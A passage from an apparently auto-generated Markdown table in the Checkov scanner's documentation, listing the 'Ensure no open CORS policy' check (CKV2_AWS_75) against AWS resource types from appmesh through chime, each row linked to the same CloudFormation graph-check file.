[LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  280 | CKV2_AWS_75 | resource | aws_appmesh_virtual_node                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  281 | CKV2_AWS_75 | resource | aws_appmesh_virtual_router                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  282 | CKV2_AWS_75 | resource | aws_appmesh_virtual_service                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  283 | CKV2_AWS_75 | resource | aws_apprunner_auto_scaling_configuration_version                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  284 | CKV2_AWS_75 | resource | aws_apprunner_connection                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  285 | CKV2_AWS_75 | resource | aws_apprunner_custom_domain_association                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  286 | CKV2_AWS_75 | resource | aws_apprunner_default_auto_scaling_configuration_version         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  287 | CKV2_AWS_75 | resource | aws_apprunner_deployment                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  288 | CKV2_AWS_75 | resource | aws_apprunner_observability_configuration                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  289 | CKV2_AWS_75 | resource | aws_apprunner_service                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  290 | CKV2_AWS_75 | resource | aws_apprunner_vpc_connector                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  291 | CKV2_AWS_75 | resource | aws_apprunner_vpc_ingress_connection                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  292 | CKV2_AWS_75 | resource | aws_appstream_directory_config                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  293 | CKV2_AWS_75 | resource | aws_appstream_fleet                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  294 | CKV2_AWS_75 | resource | aws_appstream_fleet_stack_association                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  295 | CKV2_AWS_75 | resource | aws_appstream_image_builder                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  296 | CKV2_AWS_75 | resource | aws_appstream_stack                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  297 | CKV2_AWS_75 | resource | aws_appstream_user                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  298 | CKV2_AWS_75 | resource | aws_appstream_user_stack_association                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  299 | CKV2_AWS_75 | resource | aws_appsync_api_cache                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  300 | CKV2_AWS_75 | resource | aws_appsync_api_key                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  301 | CKV2_AWS_75 | resource | aws_appsync_datasource                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  302 | CKV2_AWS_75 | resource | aws_appsync_domain_name                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  303 | CKV2_AWS_75 | resource | aws_appsync_domain_name_api_association                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  304 | CKV2_AWS_75 | resource | aws_appsync_function                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  305 | CKV2_AWS_75 | resource | aws_appsync_graphql_api                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  306 | CKV2_AWS_75 | resource | aws_appsync_resolver                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  307 | CKV2_AWS_75 | resource | aws_appsync_source_api_association                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  308 | CKV2_AWS_75 | resource | aws_appsync_type                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  309 | CKV2_AWS_75 | resource | aws_athena_data_catalog                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  310 | CKV2_AWS_75 | resource | aws_athena_database                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  311 | CKV2_AWS_75 | resource | aws_athena_named_query                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  312 | CKV2_AWS_75 | resource | aws_athena_prepared_statement                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  313 | CKV2_AWS_75 | resource | aws_athena_workgroup                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  314 | CKV2_AWS_75 | resource | aws_auditmanager_account_registration                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  315 | CKV2_AWS_75 | resource | aws_auditmanager_assessment                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  316 | CKV2_AWS_75 | resource | aws_auditmanager_assessment_delegation                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  317 | CKV2_AWS_75 | resource | aws_auditmanager_assessment_report                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  318 | CKV2_AWS_75 | resource | aws_auditmanager_control                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  319 | CKV2_AWS_75 | resource | aws_auditmanager_framework                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  320 | CKV2_AWS_75 | resource | aws_auditmanager_framework_share                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  321 | CKV2_AWS_75 | resource | aws_auditmanager_organization_admin_account_registration         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  322 | CKV2_AWS_75 | resource | aws_autoscaling_attachment                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  323 | CKV2_AWS_75 | resource | aws_autoscaling_group                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  324 | CKV2_AWS_75 | resource | aws_autoscaling_group_tag                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  325 | CKV2_AWS_75 | resource | aws_autoscaling_lifecycle_hook                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  326 | CKV2_AWS_75 | resource | aws_autoscaling_notification                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  327 | CKV2_AWS_75 | resource | aws_autoscaling_policy                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  328 | CKV2_AWS_75 | resource | aws_autoscaling_schedule                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  329 | CKV2_AWS_75 | resource | aws_autoscaling_traffic_source_attachment                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  330 | CKV2_AWS_75 | resource | aws_autoscalingplans_scaling_plan                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  331 | CKV2_AWS_75 | resource | aws_az_info                                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  332 | CKV2_AWS_75 | resource | aws_backup_framework                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  333 | CKV2_AWS_75 | resource | aws_backup_global_settings                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  334 | CKV2_AWS_75 | resource | aws_backup_logically_air_gapped_vault                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  335 | CKV2_AWS_75 | resource | aws_backup_plan                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  336 | CKV2_AWS_75 | resource | aws_backup_region_settings                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  337 | CKV2_AWS_75 | resource | aws_backup_report_plan                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  338 | CKV2_AWS_75 | resource | aws_backup_restore_testing_plan                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  339 | CKV2_AWS_75 | resource | aws_backup_restore_testing_selection                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  340 | CKV2_AWS_75 | resource | aws_backup_selection                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  341 | CKV2_AWS_75 | resource | aws_backup_vault                                                 | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  342 | CKV2_AWS_75 | resource | aws_backup_vault_lock_configuration                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  343 | CKV2_AWS_75 | resource | aws_backup_vault_notifications                                   | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  344 | CKV2_AWS_75 | resource | aws_backup_vault_policy                                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  345 | CKV2_AWS_75 | resource | aws_batch_compute_environment                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  346 | CKV2_AWS_75 | resource | aws_batch_job_definition                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  347 | CKV2_AWS_75 | resource | aws_batch_job_queue                                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  348 | CKV2_AWS_75 | resource | aws_batch_scheduling_policy                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  349 | CKV2_AWS_75 | resource | aws_bcmdataexports_export                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  350 | CKV2_AWS_75 | resource | aws_bedrock_custom_model                                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  351 | CKV2_AWS_75 | resource | aws_bedrock_guardrail                                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  352 | CKV2_AWS_75 | resource | aws_bedrock_guardrail_version                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  353 | CKV2_AWS_75 | resource | aws_bedrock_inference_profile                                    | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  354 | CKV2_AWS_75 | resource | aws_bedrock_model_invocation_logging_configuration               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  355 | CKV2_AWS_75 | resource | aws_bedrock_provisioned_model_throughput                         | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  356 | CKV2_AWS_75 | resource | aws_bedrockagent_agent                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  357 | CKV2_AWS_75 | resource | aws_bedrockagent_agent_action_group                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  358 | CKV2_AWS_75 | resource | aws_bedrockagent_agent_alias                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  359 | CKV2_AWS_75 | resource | aws_bedrockagent_agent_collaborator                              | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  360 | CKV2_AWS_75 | resource | aws_bedrockagent_agent_knowledge_base_association                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  361 | CKV2_AWS_75 | resource | aws_bedrockagent_data_source                                     | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  362 | CKV2_AWS_75 | resource | aws_bedrockagent_knowledge_base                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  363 | CKV2_AWS_75 | resource | aws_budgets_budget                                               | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  364 | CKV2_AWS_75 | resource | aws_budgets_budget_action                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  365 | CKV2_AWS_75 | resource | aws_caller_info                                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  366 | CKV2_AWS_75 | resource | aws_ce_anomaly_monitor                                           | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  367 | CKV2_AWS_75 | resource | aws_ce_anomaly_subscription                                      | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  368 | CKV2_AWS_75 | resource | aws_ce_cost_allocation_tag                                       | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  369 | CKV2_AWS_75 | resource | aws_ce_cost_category                                             | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  370 | CKV2_AWS_75 | resource | aws_chatbot_slack_channel_configuration                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  371 | CKV2_AWS_75 | resource | aws_chatbot_teams_channel_configuration                          | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  372 | CKV2_AWS_75 | resource | aws_chime_voice_connector                                        | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  373 | CKV2_AWS_75 | resource | aws_chime_voice_connector_group                                  | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  374 | CKV2_AWS_75 | resource | aws_chime_voice_connector_logging                                | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  375 | CKV2_AWS_75 | resource | aws_chime_voice_connector_origination                            | Ensure no open CORS policy                                                                                                                                                                               | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml)                                                                   |\n|  